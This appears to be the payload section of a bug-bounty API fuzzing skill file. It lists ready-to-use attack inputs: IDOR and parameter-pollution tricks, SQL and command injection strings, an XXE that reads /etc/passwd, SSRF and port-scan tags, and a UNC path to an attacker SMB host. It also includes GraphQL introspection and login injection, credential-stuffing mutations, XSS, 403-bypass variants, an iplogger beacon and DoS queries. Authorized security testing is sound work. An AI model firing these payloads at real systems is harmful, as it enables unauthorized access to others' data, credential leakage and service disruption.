sickn33/antigravity-awesome-skills/api-fuzzing-bug-bounty

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
 
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
 
# Extract paths from Swagger
python3 json2paths.py swagger.json

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
 
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
 
# Test mobile vs web API separately
# Don't assume same security controls

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
 
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
 
# Test /me/orders vs /user/654321/orders

# Wrap ID in array
{"id":111} → {"id":[111]}
 
# JSON wrap
{"id":111} → {"id":{"id":111}}
 
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
 
# Wildcard injection
{"user_id":"*"}
 
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

# Ruby on Rails
?url=Kernel#open → ?url=|ls
 
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
 
# Switch content type
Content-Type: application/json → application/xml

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    id  # Controlled canary record only; do not request real passwords/payment data
  }
}

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
 
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

# Original blocked request
/api/v1/users/sensitivedata → 403
 
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
 
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
 
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
 
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

# Normal request
/api/news?limit=100
 
# DoS attempt
/api/news?limit=9999999999

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
 
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
 
# Response reveals other user's invoice data

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'